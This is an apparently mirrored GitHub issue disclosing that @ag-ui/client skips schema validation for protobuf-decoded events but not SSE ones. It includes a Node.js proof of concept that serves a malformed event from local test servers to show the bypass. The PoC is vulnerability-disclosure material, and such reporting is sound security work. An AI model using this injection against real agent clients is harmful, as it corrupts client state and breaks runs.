ag-ui-protocol / ag-ui-protocol/ag-ui

[BUG]: Protobuf-decoded events skip `EventSchemas.parse` entirely (validation asymmetry vs SSE)

未關閉
#2,524 1 則留言 0 個 reaction 已指派 0 人 在 GitHub 檢視
主要語言
Python
星號
15.9k
分支
1.4k
平均合併
1 天 17 小時
30 天內合併 PR
163

描述

# Protobuf-decoded events skip `EventSchemas.parse` entirely (validation asymmetry vs SSE)

Repository: https://github.com/ag-ui-protocol/ag-ui
Affected: `@ag-ui/client` (verified against published npm release 0.0.58)
CWE: CWE-20 (Improper Input Validation)

## Summary

The transport selects a decoder by response content type. The SSE branch validates every parsed event through the Zod `EventSchemas.parse` before emitting it; the protobuf branch decodes with `@ag-ui/proto` and emits the result **directly, with no schema validation**. The same malformed event is therefore rejected on one transport and accepted on the other: `{type: "TEXT_MESSAGE_START", messageId: 12345}` (numeric id) fails SSE validation with a Zod `invalid_type` error, while over the protobuf media type it is accepted and handed to the run reducer — which then tracks an active text message with id `12345` and later refuses `RUN_FINISHED` because "text messages are still active: 12345". The schema contract exists; one transport bypasses it.

## Affected code

- `@ag-ui/client` (npm 0.0.58) `dist/index.mjs`, `transformHttpEventStream` content-type switch — SSE branch validates via `EventSchemas.parse(e)`; protobuf branch emits `decode(buf)` unvalidated

## Observed behavior (measured)

Identical bad event delivered over both transports:

| transport | result |
|---|---|
| `text/event-stream` | rejected — Zod: `invalid_type, expected string, received number, path [messageId]` |
| protobuf media type (`AGUI_MEDIA_TYPE`) | accepted; reducer state corrupted (active message id `12345`; run cannot finish) |

## Impact

An agent (or a MITM content-type flip) injects type-confused, extra-field, or otherwise schema-invalid events directly into the client state machine on the protobuf path — driving downstream logic errors in code that trusts the schema contract. Validation bypass; impact beyond availability.

## Suggested remediation

- Run the same `EventSchemas.parse` over protobuf-decoded events before emission (symmetric validation), or validate at the reducer entry regardless of transport.

## PoC

Prerequisites: Node ≥ 20 with `@ag-ui/client@0.0.58` and the matching `@ag-ui/proto` release installed. Run `node poc_f29.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0.

```js
// poc_f29.mjs — F-29: protobuf-decoded events bypass EventSchemas.parse
// (asymmetry vs SSE). transformHttpEventStream's content-type switch: the SSE
// branch calls EventSchemas.parse(e) (zod) before emitting; the protobuf branch
// emits proto.decode(buf) straight to next() with NO schema validation. So a
// malformed event that the SSE path REJECTS is ACCEPTED via protobuf. We send
// the SAME bad event ({type:TEXT_MESSAGE_START, messageId:}) over both
// transports: SSE → runAgent rejects (zod error); protobuf (Content-Type:
// AGUI_MEDIA_TYPE) → runAgent accepts (no validation). The contrast proves the
// bypass.
import http from 'node:http';
import { HttpAgent } from '@ag-ui/client';
import { encode, AGUI_MEDIA_TYPE } from '@ag-ui/proto';

const BAD_EVENT = { type: 'TEXT_MESSAGE_START', messageId: 12345, role: 'assistant' };

function sseServer() {
return new Promise(r => {
const srv = http.createServer((req, res) => {
req.resume();
req.on('end', () => {
res.writeHead(200, { 'Content-Type': 'text/event-stream' });
res.write(`data: ${JSON.stringify({ type: 'RUN_STARTED', runId: 'r1', threadId: 't1' })}\n\n`);
res.write(`data: ${JSON.stringify(BAD_EVENT)}\n\n`);
res.write(`data: ${JSON.stringify({ type: 'RUN_FINISHED', runId: 'r1', threadId: 't1' })}\n\n`);
res.end();
});
});
srv.listen(0, '127.0.0.1', () => r({ srv, port: srv.address().port }));
});
}
function protoServer() {
return new Promise(r => {
const srv = http.createServer((req, res) => {
req.resume();
req.on('end', () => {
res.writeHead(200, { 'Content-Type': AGUI_MEDIA_TYPE });
const write = (ev) => { const b = encode(ev); const hdr = Buffer.alloc(4); hdr.writeUInt32BE(b.length, 0); res.write(Buffer.concat([hdr, Buffer.from(b)])); };
write({ type: 'RUN_STARTED', runId: 'r1', threadId: 't1' });
write(BAD_EVENT);
write({ type: 'RUN_FINISHED', runId: 'r1', threadId: 't1' });
res.end();
});
});
srv.listen(0, '127.0.0.1', () => r({ srv, port: srv.address().port }));
});
}

// SSE path — should reject (zod: messageId must be string)
const s = await sseServer();
let sseErr = null;
try {
await new HttpAgent({ url: `http://127.0.0.1:${s.port}/` }).runAgent({ messages: [{ role: 'user', content: 'x' }] });
} catch (e) { sseErr = String(e?.message || e); }
s.srv.close();

// Protobuf path — should accept (no EventSchemas.parse)
const p = await protoServer();
let protoErr = null;
try {
await new HttpAgent({ url: `http://127.0.0.1:${p.port}/` }).runAgent({ messages: [{ role: 'user', content: 'x' }] });
} catch (e) { protoErr = String(e?.message || e); }
p.srv.close();

const sseRejected = /invalid|schema|expected|string|validation|parse/i.test(sseErr || '');
const protoAccepted = !protoErr || !/invalid|schema|expected|string|validation|parse/i.test(protoErr || '');
const ok = sseRejected && protoAccepted;

console.log(JSON.stringify({
finding: 'F-29-protobuf-bypasses-eventschema-parse',
bad_event: BAD_EVENT,
sse_error: (sseErr || 'none').slice(0, 100),
sse_rejected_bad_event: sseRejected,
proto_error: (protoErr || 'none').slice(0, 100),
proto_accepted_bad_event: protoAccepted,
confirmed: ok,
}, null, 2));
process.exit(ok ? 0 : 1);
```

貢獻指南

開啟貢獻指南

評估

這個 Issue 還沒有評估資料。

把新 issue 寄到你的電子郵件信箱

精選適合新手參與的 GitHub issue 摘要。